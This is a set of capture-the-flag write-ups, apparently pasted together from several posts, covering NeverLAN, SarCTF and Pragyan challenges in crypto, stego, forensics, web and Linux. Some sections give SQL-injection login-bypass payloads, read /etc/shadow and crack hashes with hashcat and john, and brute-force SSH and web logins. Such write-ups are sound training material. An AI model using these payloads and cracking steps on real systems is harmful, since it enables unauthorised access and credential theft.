### Open BackpackThe image says something is unzipped...Let's try `binwalk`.
Command: `binwalk -e openbackpack.jpg`
Binwalk extracts two files, a zip and a file called `flag.png`, which has the flag of course.
### Look into the pastWe download and unzip it. It seems they just compressed a system's directories from / and gave it to us...
We `cd` into the home directory for the user (`/home/User/`). Nothing seems interesting except for a `.bash_history` file, which reveals that they encrypted a flag using a concatenation of 3 passwords. We have to find the 3 passwords to decrypt the encrypted flag.
Password 1:It's in an image in `~/Pictures`. We use strings and find the signature for `steghide`. We can use `steghide extract -sf doggo.jpeg`. It takes a bit more guesswork to guess that there is no password. The password is in the extracted text file.
Password 2:The password is the password to the user named `user`. We read `/etc/shadow/`, and find the password.
Password 3:We first uncompress the `table.db.tar.gz` inside `/opt`.
Let's get everything from `table.db`: `sqlite3 table.db "SELECT * FROM passwords"`. This gives us the third password.
Now that we have all 3 passwords, we can decrypt the encrypted text file using `openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt`. We supply the concatenation of the 3 passwords, and we read `file.txt` for the decrypted flag.
## Programming### DasPrimeWe want to find the 10947th prime number. We are given the following algorithm:```pythonimport mathdef main(): primes = [] count = 2 index = 0 while True: isprime = False for x in range(2, int(math.sqrt(count) + 1)): if count % x == 0: isprime = True continue if isprime: primes.append(count) print(index, primes[index]) index += 1 count += 1if __name__ == "__main__": main()```
This algorithm seems kind of slow...
We can write a faster script such as this one:```pythonfrom math import sqrt
def is_prime(n): if (n <= 1): return False if (n == 2): return True if (n % 2 == 0): return False
i = 3 while i <= sqrt(n): if n % i == 0: return False i = i + 2
return True
def prime_generator(): n = 1 while True: n += 1 if is_prime(n): yield n
generator = prime_generator()
x = []
for i in range(10948): x.append(next(generator))```
We access the 10497th element of `x` to get the flag (x[10496]).
### password_crackSimple MD5 brute force. I got the author names from the Discord server.
### Robot TalkWe just have to convert 5 base64 values to ASCII.
I used pwntools, a pretty neat library for tasks like these.
```pythonfrom pwn import *import base64
conn = remote("challenges.neverlanctf.com", 1120)
for i in range(5): print(conn.recvuntil("decrypt: ")) x = conn.recv().strip() print(x) y = base64.b64decode(x) print(y) conn.send(y) print(conn.recvline())
print(conn.recv())```### BitsnBytes> https://challenges.neverlanctf.com:1150
This site gives an svg which we can download. Quite obviously, the colors represent `0` and `1` in binary (gray is 1, green is 0).
We find out that we can download the svg information directly from `/svg.php`, which makes it much easier for a script.
We parse the image, using regex to remove all different attributes such as x, y, width, and height for each `<rect>` in the svg. Then, we simply just use `str.replace()` in Python to get the binary string.
Then we convert that binary string into text.
However, most of the time the server will return an svg that doesn't have the flag. Instead, it will return some time hash information which is useless to us.
We can repeatedly query the server for an svg until it gives us a flag svg.
```from __future__ import print_function
import requests
while True: f = requests.get("https://challenges.neverlanctf.com:1150/svg.php").text.decode()
f = f[336:-9]
f= f.strip()
import re
s = re.compile(r"\sid='\d*'") a = re.compile(r"\sx='\d*'") b = re.compile(r"\sy='\d*'")
c = re.compile(r"width='\d*' ") d = re.compile(r"height='\d*' ")
f = s.sub("", f) f = a.sub("", f) f = b.sub("", f) f = c.sub("", f) f = d.sub("", f)
#print(f)
f = f.replace("<rect style='fill:#333136'/>", "1") f = f.replace("<rect style='fill:#00ff00'/>", "0")
f = [f[i:i+8] for i in range(0, len(f), 8)]
#print(f)
x = "".join([chr(int(i, 2)) for i in f])
if not "time hash:" in x: print(x)```
### Evil> ssh [email protected] -p 3333> password: eyesofstone
We initially find an intel.txt, giving us information. We have to ssh onto `evil@victim`.
Using Medusa (an ssh password cracker), we can bruteforce the password easily. It is `0024`.
Once ssh'd, we find a zip file with some base64 as its name. It's password protected, so we try decoding the name.
Decoded, the name of the zip file is `stonecold`, which is used to unzip the zip file.
The content of the zip file is the flag.
## Recon### Front page of the InternetThe "front page of the Internet" is Reddit.The author is `ZestyFE`, so we guess that he has a Reddit account under the same name.
We navigate to `/u/ZestyFE` on Reddit, and find the flag in one of ZestyFE's comments.
### The Big StageWe search up SaintCon keynotes and find that NeverLAN keynoted in 2018
Unfortunately the SaintCon site is not 100% functional so we're stuck...
Then we guses that keynoting a conference is pretty cool and they must have posted something to commemorate the event on [their Twitter](https://twitter.com/NeverLanCTF).
They actually link us [their slides](https://twitter.com/NeverLanCTF/status/1044640438131388422)
The flag is right next to a picture of Rick Astley :p
### The LinkDuring the competition there were streams for music and the like. If we go under their music tab and select track #2 we see a YouTube video.
Exploring the comments reveals a flag that someone commented.
### Thats just PhreakyWe Google for `01 September 2017 | 14:01 phreak`.
We find the first [Darknet Diaries episode](https://darknetdiaries.com/episode/1/).
By some stroke of pure geniosity we right click to view the source code of the site and the flag is at the bottom.
## Web### Cookie Monster> https://challenges.neverlanctf.com:1110
The title hints that it has something to do with cookies.
When we visit the site, it says `He's my favorite Red guy`. We guess this to be `Elmo` from Sesame Street.
We look at the cookies, and find a cookie `Red_Guy's_Name: NameGoesHere`. We replace `NameGoesHere` with `elmo`.
We get the flag by refreshing the tab.
### Stop the Bot> https://challenges.neverlanctf.com:1140
The site looks pretty boring, so let's take a look at `/robots.txt`, which is hinted at by the title:```User-agent: *Disallow: /Disallow: flag.txt```
We navigate to `/flag.txt` for the flag.
### SQL Breaker> https://challenges.neverlanctf.com:1160/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
Payload:```Username: ' OR 1=1;-- Password: asdf```
Return to the home page for the flag.
### SQL Breaker 2> https://challenges.neverlanctf.com:1165/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
This time, there seems to be multiple accounts, and the previous payload logs us in as `John`, who is not an admin. We have to skip over John's account using SQL's `LIMIT` to log in as admin.
Payload:```Username: ' OR 1=1, LIMIT 1;-- Password: asdf```
Return to the home page for the flag.
### Follow Me> https://7aimehagbl.neverlanctf.com
This website redirects so many times your browser just gives up. We can use Python's `requests` module and the `follow_redirects=False` option:```pythonimport requestsp = requests.get("https://7aimehagbl.neverlanctf.com", allow_redirects=False)```On the first visit (using Python), the page states where it's redirecting. How convenient. How about we just follow the trail?
```pythonimport requests
url = "https://7aimehagbl.neverlanctf.com"
while True: p = requests.get(url, allow_redirects=False) print(p.text) url = "https://" + p.text.split()[-1]```
The flag is in one of the sites that we get redirected to.
### Browser Bias> https://challenges.neverlanctf.com:1130
When we try to visit the site normally, it says that the site is only for `commodo 64` browsers.
We guess that the server tells what browser we are using based on the User-Agent header of the request.
When we Google for Commodo 64 browsers, we end up with a browser named `Contiki`. We search for the Contiki User-Agent.
We find a [really long list of User-Agents](https://gist.github.com/dstufft/2502524) that ever downloaded something from PyPI on GitHub Gists, and we Ctrl-F for Contiki.
We find the User-Agent for Contiki as `Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)`.
We set that as our User-Agent using Python's `requests`, and request the home page, which gives us the flag.
## Chicken LittleWe basically have to ssh onto a server and retrieve the flag from it. We start from Chicken Little 1. We use the flag from Chicken Little 1 as the password for the ssh onto Chicken Little 2, etc.
### Chicken Little 1Use an `ls` and find `Welcome.txt`.Read the file for the flag.
### Chicken Little 2Use an `ls -a` (-a flag to show hidden files) and find `.chicken.txt`.Read the file for the flag.
### Chicken Little 3We find `BAWK.txt` with a bunch of "BAWK"s in it. Knowing the password format we guess that this password also has a `-` in it, so we grep for `-` in the file for the flag.
### Chicken Little 4We find a binary file with the flag presumably hidden in it. We can use `strings` to first extract the printable strings, then grep for `-` in it, which gives the flag.
### Chicken Little 5We can use `binwalk -e` to extract files from the file, giving us a file with the flag.
### Chicken Little 6We can use `scp` to transfer the file to our local machine since `curl` was removed.
`scp -P 3333 [email protected]:~/chicken-little.png .`
The flag is visible in the image.
### Chicken Little 7We are told we need to find the password to the user `level7` on the system. We read `/etc/shadow` for the `level7` password hash.
We generate a wordlist of all possible 4-character combinations using `crunch 1 4 > pass.txt`.
We can use `hashcat -m 1800 -a 0 h.hash pass.txt` to eventually break the hash (it was supposed to take ~15 minutes).
I used a brute-force script on a remote server because my 2011 mac really did not like running SHA512 a lot of times.
## Trivia### Milk Please> Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!>It's talking about cookies, which is the flag.### Professional Guessing> The process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords
Google the description.
An article defines the description for the term "password cracking", which is the flag.### Base 2^6> A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation
`Radix-64` basically tells us that the flag is base64.
### AAAAAAAAAAAAAA! I hate CVEs> This CVE reminds me of some old school exploits. If flag is enabled in sudoers
We Google `If flag is enabled in sudoers cve` and find [this site](https://www.exploit-db.com/exploits/47995), which has the flag in it.
### Rick Rolled by the NSA> This CVE Proof of concept Shows NSA.go<span>v</span> playing "Never Gonna Give You Up," by 1980s heart-throb Rick Astley.Use the CVE ID for the flag. flag{CVE-?????????}
I remember seeing this as a meme on Reddit :laughing:Googling the description gives news articles detailing the correct CVE ID for the flag. |
# SarCTF 2020 -- DeepDive (Misc) -- 701 pts
Typical matriosha challenge, using basic programming skills, you can solve this one:```root@kali:~/ctf/sarctf/deep_dive# file flag.txt flag.txt: POSIX tar archive (GNU)root@kali:~/ctf/sarctf/deep_dive# ./solve.sh..............[+] POSIX tar[+] bzip2bzip2: Can't guess original name for flag.txt -- using flag.txt.out[+] bzip2bzip2: Can't guess original name for flag.txt -- using flag.txt.out[+] ZipArchive: flag.txtreplace flag.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: inflating: flag.txt [+] bzip2bzip2: Can't guess original name for flag.txt -- using flag.txt.out[+] POSIX tar[+] ASCIIFLAG{matri0sha256}``` |
# SarCTF 2020 -- Invitation (Crypto) -- 873 ptsThe encoded message was encrypted using "Dancing Men Cipher", you can decrypt by yourself using this tool: https://www.dcode.fr/dancing-men-cipher
### FLAG{disco_in_Saratov} |
# Christmas quest (Misc) \[983\]
## __Description__
## __Solution__
In the game, you roll a random dice several times and try to reach the target as close as possible.
The target is determined by:
```#define LIMIT 1000 ...uint32_t a_very_random_number(){ // Fair and unpredictable! float sum = 0 ; if (read(fd, rand_vals, sizeof(uint8_t) * LIMIT) & 0x80000000) return 0 ; for (uint32_t i = 0 ; i < LIMIT ; i++, sum += (float)rand_vals[i] / (uint8_t)(~0)) ; return (uint32_t)sum ; }```
where fd is /dev/urandom, so the number is about 500*LEVEL because it's pretty random.
So the strategy is to choose smallest dice and flip it with 500\*LEVEL/(sides\*0.5+0.5).
For example, in LEVEL 10, you pick 6-sided dice, you should flip it 500\*10/2.5 = 1429 times.
After final battle, you are asked to choose to press GREEN or PURPLE button, press PURPLE and get the flag.
```kks{M3rry_Chr157m45_4nd_4_H4ppy_N3w_Y34r!_W17h_l0v3,_KKS_TEAM}``` |
# SarCTF 2020 -- Layouts (Misc) -- 866 pts
We're given a file named as "RWtm7A5f", its a zip compressed file:```root@kali:~/ctf/sarctf/layouts# file RWtm7A5f RWtm7A5f: Zip archive data, at least v2.0 to extract```Extracting the zip file, we get another compressed file (Matroska challenge-like), so we have built a script to deal with it:```root@kali:~/ctf/sarctf/layouts/solve-first-step# lsRWtm7A5f solve.shroot@kali:~/ctf/sarctf/layouts/solve-first-step# ./solve.sh ....................Archive: VRdCccaT.zip inflating: RDkJMKDa Archive: RDkJMKDa.zip inflating: 85iVroNS Archive: 85iVroNS.zip inflating: kSPrXQjZ Archive: kSPrXQjZ.zip extracting: flag Archive: flag.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive.unzip: cannot find zipfile directory in one of flag or flag.zip, and cannot find flag.ZIP, period.[+] flag fileroot@kali:~/ctf/sarctf/layouts/solve-first-step# ls flags/1 105 111 118 124 130 137 143 15 156 162 169 175 181 188 194 20 206 212 219 225 231 238 244 250 27 33 4 46 52 59 65 71 78 84 90 9710 106 112 119 125 131 138 144 150 157 163 17 176 182 189 195 200 207 213 22 226 232 239 245 251 28 34 40 47 53 6 66 72 79 85 91 98100 107 113 12 126 132 139 145 151 158 164 170 177 183 19 196 201 208 214 220 227 233 24 246 252 29 35 41 48 54 60 67 73 8 86 92 99101 108 114 120 127 133 14 146 152 159 165 171 178 184 190 197 202 209 215 221 228 234 240 247 253 3 36 42 49 55 61 68 74 80 87 93102 109 115 121 128 134 140 147 153 16 166 172 179 185 191 198 203 21 216 222 229 235 241 248 254 30 37 43 5 56 62 69 75 81 88 94103 11 116 122 129 135 141 148 154 160 167 173 18 186 192 199 204 210 217 223 23 236 242 249 255 31 38 44 50 57 63 7 76 82 89 95104 110 117 123 13 136 142 149 155 161 168 174 180 187 193 2 205 211 218 224 230 237 243 25 26 32 39 45 51 58 64 70 77 83 9 96```
As you could see, there are a bunch of folders in there, each folder has one empty file:```root@kali:~/ctf/sarctf/layouts/solve-first-step# find flags/ -type f flags/125/21flags/53/17flags/95/15flags/83/1flags/52/7flags/52/14flags/89/2flags/101/9flags/84/4flags/78/3flags/51/10flags/102/11flags/112/18flags/120/13flags/110/16flags/103/8flags/49/19flags/49/20flags/122/6flags/123/5flags/117/12```
125, 53, 95, 101, 89, hm... all of those "numbers" are ASCII Readable chars, maybe those files "sequentially" created within those "random" folders should give us a guide of which characters should be read first, let's try it.
So I created a script "stego.py" which will decode those ASCII codes following the "guide" by reading the file "out-sorted.txt":```root@kali:~/ctf/sarctf/layouts# cat out-sorted.txt 83,189,278,384,4123,5122,652,7103,8101,951,10102,11117,12120,1352,1495,15110,1653,17112,1849,1949,20125,21root@kali:~/ctf/sarctf/layouts# python stego.py SYNT{z4ge3fux4_n5p11}```
It looks like it got encoded using Caesar Cipher, let's decode it using https://www.dcode.fr/caesar-cipher:
(shift) +13 (text) FLAG{m4tr3shk4_a5c11}
#### FLAG{m4tr3shk4_a5c11} |
# Mind Palace III
**Categoria: Programação**
# Descrição:>100% of brain CPU.
>nc 217.47.229.1 33003
# Solução:Ao conectar no servidor, temos:
É possível ver que existe dois números e operadores lógicos*¹, dando a entender que você deve resolver aquele problema:
Então, criei o seguinte script:
```#!/usr/bin/python#-*- coding: utf-8 -*-
import socket
def main(): HOST = '212.47.229.1' PORT = 33003
tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest = (HOST, PORT) tcp.connect(dest)
data = tcp.recv(2048) while "FLAG" not in data: result = 0 print(data) valores = data.split(b"[>]")[1].split(b"\n")[0].split(b" ") op = valores[2]
if op == b"XOR": result = int(valores[1]) ^ int(valores[3]) elif op == b"OR": result = int(valores[1]) | int(valores[3]) elif op == b"AND": result = int(valores[1]) & int(valores[3]) else: print(op)
print(result) tcp.send(str(result) + b"\n") data = tcp.recv(2048) print(data)
if __name__ == "__main__": main()```*² (esse script pode ser encontrado aqui nesse github)
Explicando o script:1º - Na linhas de 7 a 12, conectamos ao servidor;
2º - Na linha 14, recebemos as mensagens do servidor;
3º - Nas linhas 18 e 19, pego os valores de, respectivamente: números a serem comparados e do operador lógico;
4º - Nas linhas de 21 a 26, verificamos qual o operador lógico e assim realizamos as definidas operações.
5º - O ```else``` servia apenas para caso algum outro operador lógico aparecesse, aí teríamos que incrementar no código, caso acontecesse, mas não aconteceu.
6º- Na linha 31, enviamos o resultado da operação para o servidor.
# Flag:```FLAG{0HH_Y0UR3_4_V3RY_5M3RT_M4TH3M4T1C}```
*¹ (https://python-reference.readthedocs.io/en/latest/docs/operators/index.html?highlight=logic#bitwise-operators)
*² (https://github.com/0x8Layer/CTF-Writeups/blob/master/SarCTF/2020/PPC/Mind%20Palace%20III/mindpalaceIII_oplogic.py) |
# SarCTF2020 -- Admin (Web) -- 957 pts
Analyzing http://sherlock-message.ru/script.js, we figured out that the application can be bruteforce'd by supplying a new hash token for every login try we madeSo, we created a multithreaded script to do this job for us:
#### FLAG{bruTe_with_hash_f0rce} |
Using ida pro we have decompiled the program. It asks us to enter a password. Then check that each entered character is equal to a specific character (comparing the characters as decimal numbers).Here are the verification functions:
# FLAG:```FLAG{3a5yr3v3r5ing}``` |
# Pragyan2020-Forensics-Encuentralo_si_puedes
There are 4 files given: 3 encrypted PDFs and one MP3.
Listening to the MP3 file reveals there is a morse code at the beginning and end of the Despacito song.
Cutting everything but morsecode sounds in Audacity, and maxing out the gain since some of it is very low volume, https://morsecode.world/international/decoder/audio-decoder-adaptive.html output the following message:`/BRUTE/DE/CINCO/DIGITOS/CON/MINUSCULAS/Y/NUMEROS`
Pdfcrack.exe is able to brute force the 3 PDF files:```.\pdfcrack.exe -f 1Hola.pdf -c 0123456789abcdefghijklmnopqrstuvwxyz -n 5 -m 5found user-password: 'x2n1z'
.\pdfcrack.exe -f 2Mi.pdf -c 0123456789abcdefghijklmnopqrstuvwxyz -n 5 -m 5found user-password: '39adz'
.\pdfcrack.exe -f 3Amigo.pdf -c 0123456789abcdefghijklmnopqrstuvwxyz -n 5 -m 5found user-password: '8yfa2'```
1Hola.pdf and 2Mi.pdf are the same PDFs found on http://shattered.io/ - http://shattered.io/static/shattered-1.pdf and http://shattered.io/static/shattered-2.pdf
3Amigo.pdf contains a message: ` SHA1[original files] = base64-decrypt(base64-decrypt(flag))`
Getting a SHA1 hash of either Shattered PDFs retrieves the following:```> (Get-FileHash .\shattered-1.pdf -Algorithm SHA1).Hash.toLower()> 38762cf7f55934b34d179ae6a4c80cadccbb7f0a```Base64 Encoding the hash 2 times returns TXpnM05qSmpaamRtTlRVNU16UmlNelJrTVRjNVlXVTJZVFJqT0RCallXUmpZMkppTjJZd1lRPT0=.
p_ctf{TXpnM05qSmpaamRtTlRVNU16UmlNelJrTVRjNVlXVTJZVFJqT0RCallXUmpZMkppTjJZd1lRPT0=} |
We have been given a pcap file. It contained a usb transfer.
the usb device to ip address 1.7.1 transfer data to the host. Then adding the column "Leftover Capture Data". With a filter like:```((usb.transfer_type == 0x01) && (frame.len == 35)) && !(usb.capdata == 00:00:00:00:00:00:00:00)```you can only view the packages from the device
Then we have exported the capture as CSV file. The file contains:
With a little bit of bash, we cleaned the file. We got just the data in the coloum "Leftoverdata":
```bashcat leftdata.csv | cut -d "," -f7 | cut -d "\"" -f2 | grep -vE "Leftover Capture Data" > hexoutput.txt
```
Now with a horrible, minimal (fast to write) python 2 program, we have recovered the mapped keys.
```pythonnewmap = {2: "PostFail",4: "a",5: "b",6: "c",7: "d",8: "e",9: "f",10: "g",11: "h",12: "i",13: "j",14: "k",15: "l",16: "m",17: "n",18: "o",19: "p",20: "q",21: "r",22: "s",23: "t",24: "u",25: "v",26: "w",27: "x",28: "y",29: "z",30: "1",31: "2",32: "3",33: "4",34: "5",35: "6",36: "7",37: "8",38: "9",39: "0",40: "Enter",41: "esc",42: "del",43: "tab",44: "space",45: "_",47: "[",48: "]",56: "/",57: "CapsLock",79: "RightArrow",80: "LetfArrow"}
myKeys = open('hexoutput.txt')i = 1for line in myKeys: bytesArray = bytearray.fromhex(line.strip()) for byte in bytesArray: if byte != 0: keyVal = int(byte)
if keyVal in newmap: print newmap[keyVal] else: print "No map found for this value: " + str(keyVal)
i+=1```
# FLAG```FLAG{like_a_b100dh0und}```
|
# SarCTF 2020 -- Confidential (Forensics) -- WriteupWe're given a pcap capture file, "capture.pcap". First of all, we enumerated the pcap file using wireshark, as shown below:
Taking a look in those packets, we could understand what was primordialy happening there: a FTP File Transmission. Using Wireshark, we saved those files by getting their tcp-data stream and saving them into our storage.
database.kdbx is a Keepass Password Database, we can break his password using:```$ keepass2john database.kdbx > database.hash$ john database.hash --wordlist=/usr/share/wordlists/rockyou.txtdatabase:blowme!1 password hash cracked, 0 left```
Now we just have to access the database using the cracked password:```$ keepass2 database.kdbx```
 |
# NeverLAN CTF 2020Start: Sat, Feb 8 2020, 10:00 AM EST
End: Tue, Feb 11 2020, 7:00 PM EST
# Placing- [Students](student_scoreboard.png): 1st (max score)- General: 31st
# ReviewThis weekend I played in NeverlanCTF as the solo team `bosh`. The challenges were alright, although many of them were just guessing.
I didn't like how they did not announce challenge drops before they actually released them, and how the platform went down after the last wave of challenge releases.
# Writeups## Table of contents| Challenge Name | Category | Points ||:-:|:-:|:-:|| [Adobe Payroll](#adobe-payroll) | Reverse Engineering | 100 || [Script Kiddie](#script-kiddie) | Reverse Engineering | 100 || [Reverse Engineer](#reverse-engineer) | Reverse Engineering | 200 || [Pigsfly](#pigsfly) | Cryptography | 30 || [BaseNot64](#basenot64) | Cryptography | 50 || [Don't Take All Knight](#don't-take-all-knight) | Cryptography | 75 || [The Invisibles](#the-invisibles) | Cryptography | 75 || [Stupid Cupid](#stupid-cupid) | Cryptography | 100 || [My Own Encoding](#my-own-encoding) | Cryptography | 200 || [BabyRSA](#babyrsa) | Cryptography | 250 || [CryptoHole](#cryptohole) | Cryptography | 250 || [It is like an onion of secrets](#it-is-like-an-onion-of-secrets) | Cryptography | 300 || [Unsecured Login](#unsecured-login) | PCAP | 50 || [Unsecured Login2](#unsecured-login2) | PCAP | 75 || [FTP](#ftp) | PCAP | 100 || [Teletype Network](#teletype-network) | PCAP | 125 || [hidden-ctf-on-my-network](#hidden-ctf-on-my-network) | PCAP | 250 || [Listen to this](#listen-to-this) | Forensics | 125 || [Open Backpack](#open-backpack) | Forensics | 150 || [Look into the past](#look-into-the-past) | Forensics | 250 || [DasPrime](#dasprime) | Programming | 100 || [password_crack](#password_crack) | Programming | 100 || [Robot Talk](#robot-talk) | Programming | 200 || [BitsnBytes](#bitsnbytes) | Programming | 200 || [Evil](#evil) | Programming | 200 || [Front page of the Internet](#front-page-of-the-internet) | Recon | 50 || [The Big Stage](#the-big-stage) | Recon | 75 || [The Link](#the-link) | Recon | 75 || [Thats just Phreaky](#thats-just-phreaky) | Recon | 200 || [Cookie Monster](#cookie-monster) | Web | 10 || [Stop the Bot](#stop-the-bot) | Web | 50 || [SQL Breaker](#sql-breaker) | Web | 50 || [SQL Breaker 2](#sql-breaker-2) | Web | 75 || [Follow Me!](#follow-me) | Web | 100 || [Browser Bias](#browser-bias) | Web | 150 || [Chicken Little 1](#chicken-little-1) | Chicken Little | 35 || [Chicken Little 2](#chicken-little-2) | Chicken Little | 36 || [Chicken Little 3](#chicken-little-3) | Chicken Little | 37 || [Chicken Little 4](#chicken-little-4) | Chicken Little | 38 || [Chicken Little 5](#chicken-little-5) | Chicken Little | 39 || [Chicken Little 6](#chicken-little-6) | Chicken Little | 40 || [Chicken Little 7](#chicken-little-7) | Chicken Little | 100 || [Milk Please](#milk-please) | Trivia | 10 || [Professional Guessing](#professional-guessing) | Trivia | 10 || [Base 2^6](#base-2^6) | Trivia | 10 || [AAAAAAAAAAAAAA! I hate CVEs](#aaaaaaaaaaaaaa!-i-hate-cves) | Trivia | 20 || [Rick Rolled by the NSA???](#rick-rolled-by-the-nsa) | Trivia | 50 |
## Reverse Engineering### Adobe PayrollOnce we unzip with 7z we end up with two files:`description.MD``Adobe_Employee_Payroll.exe`
`description.MD` hints towards a software called [DotPeek](https://www.jetbrains.com/decompiler/).
DotPeek decompiles (read: translates to semi human readable code) .NET files, such as our .exe file. After we open `Adobe_Employee_Payroll.exe` up, we can explore the files:
Double clicking on something seems like a good idea. Now we can see the decompiled code for something that looks important:As you can see, `r1`, `r2`, `r3` and so (till `r38`) on seem to be holding integers. They seem like they're ASCII values... and they are!
Without even looking at the rest of the program, we can find the flag by converting all the values from `r1` through `r38` to letters.
### Script KiddieThe "encrypted" `encrypted_db` is really just a bunch of base64 strings, which are then encoded using hex.
We can decode by using this script:```pythonfrom base64 import b64decode
f = open("encrypted_db").read().strip().replace("\n", "").decode("hex")
f = b64decode(f.strip())
print(re.findall(r'flag{.+?}', f))```
Running the script gives the flag.
### Reverse EngineerLet's open it up in Ghidra.We scroll until we find a cool looking function called `print`. It seems to be building a string from hex values.
Converting all those from hex to ASCII gives the flag.
## Cryptography### PigsflyBasic substitution cipher, using the pigpen cipher alphabet.
Decrypting gives the flag.
### BaseNot64As from the title, the data is not in base 64. We play around with the different encodings in [cyberchef](https://gchq.github.io/CyberChef/).
Noticing that there are only capital letters / symbols in the plaintext, we can probably guess that the base will be relatively small. We try to decode it as a base 32 string, and it works.
Decoding gives the flag.
### Don't Take All KnightAnother basic substitution cipher, using the Knights Templar Code cipher. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/templars-cipher).
Decrypting gives the flag.
### The InvisiblesYet another basic substitution cipher, using the Arthurs and the Invisibles alphabet. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/arthur-invisibles-cipher).
Decrypting gives the flag.
### Stupid CupidGoogling `Cupid cipher` gives us some results about how James Madison hid his plaintexts in some text using numbers.
When we count the amount of numbers in the ciphertext at the top of the file, we find that it is equal to the amount of rows there are, and the highest number in the ciphertext does not exceed the number of columns :eyes:
We then guess that each row corresponds to a character of the plaintext, and each number in the ciphertext is the corresponding column to pick from.
For example:The first number in the ciphertext is `6`. The character at the first row, 6th column is `V`.Then, the second number in the ciphertext is `12`. The character at the second row, 12th column is `E`.
Continue to get the flag.
### My Own EncodingWe are presented with 16 5x5 grids, each with a single box blacked out.Shot in the dark.We reason that since it is 5x5, there are 25 choices which is close enough to 26 (letters of the alphabet).
We assume the top left represents the letter A, and the next one to the right represents B, and so on.
Doing so, we get `MHBDI...`, until we reach the 12th box. There is no marking here! Another shot in the dark. We assume that no marking represents the letter `A`.
Thus, our previously transcribed "plaintext" has to be Caesar shifted by 1 to get the flag, easy enough.
### BabyRSAQuestionable RSA. I didn't know what to do with the numbers since they were spaced out. I finally guessed they were individual characters of the flag and successfully decrypted them as such.
Using [factordb](http://factordb.com/), we can factor `n` into `17 * 149`, obviously the p and q for this challenge.
Now, using modified code from [a StackExchange article](https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e), we can decrypt the flag character by character.
```python# Function from Geeks for Geeksdef modInverse(a, m): m0 = m, y = 0, x = 1 if (m == 1): return 0 while (a > 1) : q = a // m t = m m = a % m a = t t = y y = x - q * y x = t if (x < 0): x += m0 return x
def decrypt(ct): p = 17 q = 149 e = 569
# compute n n = p * q
# Compute phi(n) phi = (p - 1) * (q - 1)
# Compute mult mod inv of e d = modInverse(e, phi)
# Decrypt ciphertext pt = pow(ct, d, n) print(chr(pt), end="")
chall = "2193 1745 2164 970 1466 2495 1438 1412 1745 1745 2302 1163 2181 1613 1438 884 2495 2302 2164 2181 884 2302 1703 1924 2302 1801 1412 2495 53 1337 2217".split()
# this is probably bad practice but it workslist(map(lambda x: decrypt(int(x)), chall))```
### CryptoHoleBasically just a bunch of ciphers. Each level has a chal.txt which contains an encrypted password, and a password-protected zip file for the next layer.
Here is the order:
Layer 1 -`A ffine Cipher here 3`:- Affine Cipher- Brute force- Password is `AfvqPZW0bDMB&HTfzo`
Layer 2 - `Two is better than one`- Double Transposition Cipher- Both keys are `NEVERLANCTF`- Ciphertext decrypts to `PASSWORDV78DTNRI6KBD3SDFQXXXXXXXX`- Password is `V78DTNRI6KBD3SDFQ`
Layer 3 - `I'm on the fence with this one`- Rail Fence Cipher:- Brute force- `password:·VSEAS5aevg8Bwlovr`
Layer 4 - `Salad Time`- Keyed Caesar Cipher- Key is `neverLANCTF`- Shift is `0`- Password is `gTLvCGk$HyRVSssXVaSX`
Layer 5 - `ROTten`- Standard Caesar Cipher- Shift is `13`- Password is `e1Ydr*zxOOybF6RR%h5f`
Layer 6 - `Vigenere Equivent E`- Standard Caesar Cipher- Shift is `22`- Password is `fI7BPZL#ZN5PI!&pbTXc`
Layer 7 - `Easy one`- Base64 encoded string- Password is `vxw@Ztet#ZfBnYVxJ1IM`
Layer 8 - `Message indigestion`- MD5 digest- Brute force- Password is `password23`
Layer 9 - `For SHA dude`- SHA1 digest- Brute force- Password is `applez14`
Layer 10 - `ONE more TIME`- One Time Pad- First part of key is `This is our world now...` from `chal.txt` - Hints to a section from the Hacker Manifesto- Full key is: `This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be`- Decrypt the OTP to get the flag
### It is like an onion of secretsWe get download the png image. In it is a funky lookin dog with no flag :(
We guess it is LSB encrypted since Binwalk doesn't return anything useful.
We plug it into [stylesuxx's LSB tool](https://stylesuxx.github.io/steganography) and we decode.
We get some base64, which we now play with a bunch in [CyberChef](https://gchq.github.io/CyberChef/).
After we base64 decode it twice, we get a bunch of:`lspv wwat kl rljvzfciggvnclzv`
Now we guess again and decrypt it using the `Variant Beaufort Vigenere cipher` (found on Cryptii's Vigenere tool) and key `NeverLANCTF`. The plaintext gives the flag.
## PCAP### Unsecured LoginYou don't even need Wireshark, just use `strings mysite.pcap | grep flag`
### Unsecured Login2You don't even need Wireshark, just use `strings mysite2.pcap | grep flag`
### FTPYou don't even need Wireshark, just use `strings ftp.pcap | grep flag`If you want to, you can right click on any ftp packet and follow the tcp stream. If there's no flag, then move on to the next stream.
### Teletype NetworkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
### hidden-ctf-on-my-networkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
## Forensics### Listen to thisWhen we listen to the mp3 initially, we can hear a faint beeping in the background. This sounds like Morse code, so let's find an easy way to transcribe it to text dits and dahs (radio speak for dots and dashes).
We open it up in Audacity, and notice there are two tracks. Let's switch to spectrogram view. We can do this by clicking on the arrow pointing downwards next to the track name, then clicking `Spectrogram`:
If we zoom in on the beginning of the track, we can see that the Morse code is in the second track:
One huge issue right now is that the Morse code is "covered" by the actual vocals of the track. I was stuck on this portion for a while.
Let's split the tracks to mono using the track settings.
Then, we subtract the original track from the track with morse code. After that, we'll be able to clearly see the morse code in spectrogram view.
First, we select one track, and invert it (`Effect > Invert`). Then, we select both tracks and mix them together (`Tracks > Mix > Mix and Render`).
It's still a bit hard to see, so let's change the coloring.
We open up track settings and then select `Spectrogram Settings`. We change the color range to 20 dB instead of 80 dB (decibels).
